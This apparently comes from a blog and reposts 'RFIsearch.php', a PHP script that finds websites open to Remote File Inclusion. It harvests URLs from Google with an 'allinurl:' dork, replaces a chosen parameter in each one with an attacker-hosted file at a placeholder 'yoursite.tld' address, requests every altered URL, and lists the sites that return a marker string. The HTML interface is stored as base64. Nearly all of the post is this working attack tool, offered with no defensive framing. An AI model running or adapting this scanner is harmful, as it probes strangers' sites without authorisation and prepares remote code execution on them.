[PHP] RFI Search

<?php

    /**********************************************************

          RFIsearch.php by zbt - zabeaty@gmail.com
        
          Description: Find Remote File Inclusion Vulnerability

    **********************************************************/

    set_time_limit(0);
    error_reporting(0);
    ini_set('default_socket_timeout', 10);

    $inject = 'http://yoursite.tld/logs.txt';


    $zuo  = "PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9F​T";
    $zuo .= "iIgCiJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkI​j";
    $zuo .= "4KCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiB4bWw6bGFuZz0iZW4iIG​x";
    $zuo .= "hbmc9ImVuIj4KPGhlYWQ+Cjx0aXRsZT5SRklzZWFyY2ggYnkgemJ0PC90aXRsZT4KPG1ldGEgaHR0cC1​lc";
    $zuo .= "XVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMiIvP​go";
    $zuo .= "8bWV0YSBuYW1lPSJBdXRob3IiIGNvbnRlbnQ9InpidCIvPgoKPHN0eWxlIHR5cGU9InRleHQvY3NzIj4​KY";
    $zuo .= "m9keSB7dGV4dC1hbGlnbjogY2VudGVyO30KYSB7dGV4dC1kZWNvcmF0aW9uOiBub25lOyBjb2xvcjogI​zA";
    $zuo .= "wMDt9CmE6aG92ZXIge3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lO30KZGl2IHtwYWRkaW5nOiA1cHg​7I";
    $zuo .= "HdpZHRoOiA2MDBweDsgdGV4dC1hbGlnbjogbGVmdDt9CiNhbGwge21hcmdpbi1sZWZ0OiBhdXRvOyBtY​XJ";
    $zuo .= "naW4tcmlnaHQ6IGF1dG87IHRleHQtYWxpZ246IGNlbnRlcjt9CiNuYW1lZCB7YmFja2dyb3VuZDogI2V​mZ";
    $zuo .= "WZlZjsgYm9yZGVyOiAxcHggc29saWQgIzAwMDsgYm9yZGVyLWJvdHRvbTogbm9uZTt9CiNkc3Age292Z​XJ";
    $zuo .= "mbG93OiBhdXRvOyBoZWlnaHQ6IDIwMHB4OyBib3JkZXI6IDFweCBzb2xpZCAjMDAwO30KI3Jlc291bHQ​ge";
    $zuo .= "3BhZGRpbmc6IDA7fQo8L3N0eWxlPiAKCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY​3R";
    $zuo .= "pb24gYWRkMnJlc291bHQobGluaykKewoJbCA9IChsaW5rLmxlbmd0aCA+IDcwKSA/IGxpbmsuc3Vic3Rya";
    $zuo .= "W5nKDAsIDcwKSArICcuLi4nIDogbGluazsKCXJlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Jlc​29";
    $zuo .= "1bHQnKTsKCWh0bWwgID0gJzxzdHJvbmcgc3R5bGU9ImNvbG9yOiAjOGEwMDAwIj4mIzE4Nzs8L3N0cm9​uZ";
    $zuo .= "z4gJzsKCWh0bWwgKz0gJzxhIGhyZWY9IicgKyBsaW5rICsgJyI+JyArIGwgKyAnPC9hPjxiciAvPic7C​gl";
    $zuo .= "yZS5pbm5lckhUTUwgKz0gaHRtbDsKfQoKZnVuY3Rpb24gcHJvZ3Jlc3MobGluaywgaXNidWcpCnsKCWl​mK";
    $zuo .= "GlzYnVnID09IHRydWUpCgl7CgkJYnVnID0gJyA8c3Ryb25nIHN0eWxlPSJjb2xvcjojOGEwMDAwIj5SR​kk";
    $zuo .= "gZm91bmQ8L3N0cm9uZz4nOwoJCWFkZDJyZXNvdWx0KGxpbmspOwoJfQoJCgllbHNlCgkJYnVnID0gJyA​8c";
    $zuo .= "3Ryb25nIHN0eWxlPSJjb2xvcjojMDA4YTAwIj5TZWN1cmU8L3N0cm9uZz4nOwoJCglsID0gKGxpbmsub​GV";
    $zuo .= "uZ3RoID4gNzApID8gbGluay5zdWJzdHJpbmcoMCwgNzApICsgJy4uLicgOiBsaW5rOwoJCglyZSA9IGR​vY";
    $zuo .= "3VtZW50LmdldEVsZW1lbnRCeUlkKCdkc3AnKTsKCWh0bWwgID0gbCArIGJ1ZyArICc8YnIgLz4nOwoJc​mU";
    $zuo .= "uaW5uZXJIVE1MICs9IGh0bWw7Cn0KPC9zY3JpcHQ+CjwvaGVhZD4KCjxib2R5PgoKPGgyPi46IFJGSSB​TZ";
    $zuo .= "WFyY2ggYnkgPGEgaHJlZj0ibWFpbHQ6emFiZWF0eUBnbWFpbC5jb20iPnpidDwvYT4gOi48L2gyPgo8Z​Gl";
    $zuo .= "2IGlkPSJhbGwiPgo8ZGl2IGlkPSJyZXNvdWx0Ij48L2Rpdj48YnIgLz4KPGRpdiBpZD0ibmFtZWQiPjx​zd";
    $zuo .= "HJvbmc+U2VhcmNoIHByb2dyZXNzPC9zdHJvbmc+PC9kaXY+CjxkaXYgaWQ9ImRzcCI+PC9kaXY+PGJyI​C8";
    $zuo .= "+PGJyIC8+Cgo8Zm9ybT4KPHN0cm9uZz5WYXI6IDwvc3Ryb25nPiAKPGlucHV0IHR5cGU9InRleHQiIG5​hb";
    $zuo .= "WU9ImQiLz4gCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTZWFyY2giLz4KPC9mb3JtPgo8L2Rpd​j4=";
    $end  = "PC9ib2R5Pgo8L2h0bWw+";

    function getLinksG($var)
    {
       $dork = 'allinurl: "' . $var . '"';
       $engine = 'http://www.google.pl';
       $code = file_get_contents("$engine/search?as_q=" . urlencode($dork) . "&num=100");
            
       for($i = 1; $i < 5; $i++)
          $code .= file_get_contents("$engine/search?as_q=" . urlencode($dork) . "&num=100&start=".$i."00&filter=0");
      
       preg_match_all('/<a href="([^ ]+)" class=l/ei', $code, $links);
       unset($code);
      
       $url = array();
       foreach($links[1] as $l => $u)
       {
          if(!in_array($u, $url))
             array_push($url, $u);
       }
      
       return $url;
    }

    function link2rfi($var, $link, $inj)
    {
       parse_str($link, $url);
      
       if(!empty($url[$var]))
       {
          $replace = array("$var={$url[$var]}" => "$var=$inj");
          return strtr($link, $replace);
       }
      
       return null;
    }


    function checkBug($link)
    {
       $code = file_get_contents("$link");
      
       if(strstr($code, '[zbt]'))
          return true;
         
       return false;
    }

    echo base64_decode($zuo);
    flush(stdout);

    $var = trim($_GET['d']);

    if(!empty($var))
    {
       $links = getLinksG($var);

       foreach($links as $key => $v)
       {
          $l = link2rfi($var, $v, $inject);
         
          if($l != null)
          {
             if(checkBug($l))
                echo "<script type=\"text/javascript\">progress('$l', true)</script>\n";
          }
         
          else
             echo "<script type=\"text/javascript\">progress('$v', false)</script>\n";
            
          flush(stdout);
       }
    }

    echo base64_decode($end);
    ?>
[PHP] RFI Search Reviewed by Nguyen Nam Hong on 10:32 AM Rating: 5
Copyright © Kid1412 Blog's 💖 2016
Development by Hong Nguyen Nam
Powered by Blogger.